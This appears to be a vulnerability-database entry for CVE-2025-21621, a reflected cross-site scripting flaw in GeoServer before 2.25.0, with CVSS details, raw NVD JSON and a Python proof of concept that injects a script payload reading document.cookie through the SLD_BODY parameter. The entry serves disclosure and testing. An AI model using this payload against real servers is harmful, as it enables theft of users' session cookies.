Security Vulnerability Report
中文
CVE-2025-21621 CVSS 6.1 MEDIUM

CVE-2025-21621

Published: 2025-11-25 22:15:47
Last Modified: 2025-12-03 16:43:45

Description

GeoServer is an open source server that allows users to share and edit geospatial data. Prior to version 2.25.0, a reflected cross-site scripting (XSS) vulnerability exists in the WMS GetFeatureInfo HTML output format that enables a remote attacker to execute arbitrary JavaScript code in a victim's browser through specially crafted SLD_BODY parameters. This issue has been patched in version 2.25.0.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:geoserver:geoserver:*:*:*:*:*:*:*:* - VULNERABLE
GeoServer < 2.25.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-21621 PoC - GeoServer Reflected XSS via SLD_BODY parameter # Target: GeoServer < 2.25.0 # Attack Type: Reflected XSS in WMS GetFeatureInfo HTML output TARGET_URL = "http://target-server:8080/geoserver/wms" # Malicious payload with XSS injection xss_payload = "<script>alert(document.cookie)</script>" # Construct the exploit URL with encoded SLD_BODY parameter params = { "service": "WMS", "version": "1.1.0", "request": "GetFeatureInfo", "layers": "workspace:layer_name", "query_layers": "workspace:layer_name", "bbox": "0,0,100,100", "width": "100", "height": "100", "srs": "EPSG:4326", "info_format": "text/html", "x": "50", "y": "50", "SLD_BODY": xss_payload } print("[*] Sending malicious request to target...") print(f"[*] Target: {TARGET_URL}") print(f"[*] Payload: {xss_payload}") try: response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check if payload is reflected in response if xss_payload in response.text: print("[!] VULNERABLE: XSS payload reflected in response") else: print("[-] Not vulnerable or payload not found") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21621", "sourceIdentifier": "[email protected]", "published": "2025-11-25T22:15:47.227", "lastModified": "2025-12-03T16:43:45.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GeoServer is an open source server that allows users to share and edit geospatial data. Prior to version 2.25.0, a reflected cross-site scripting (XSS) vulnerability exists in the WMS GetFeatureInfo HTML output format that enables a remote attacker to execute arbitrary JavaScript code in a victim's browser through specially crafted SLD_BODY parameters. This issue has been patched in version 2.25.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:geoserver:geoserver:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.25.0", "matchCriteriaId": "D74556B8-BDEF-4EC2-98AA-BD99DB2DA4A6"}]}]}], "references": [{"url": "https://github.com/geoserver/geoserver/commit/dc9ff1c726dd73c884437a123b4ad72b19383c7d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/geoserver/geoserver/pull/7406", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-w66h-j855-qr72", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://osgeo-org.atlassian.net/browse/GEOS-11297", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}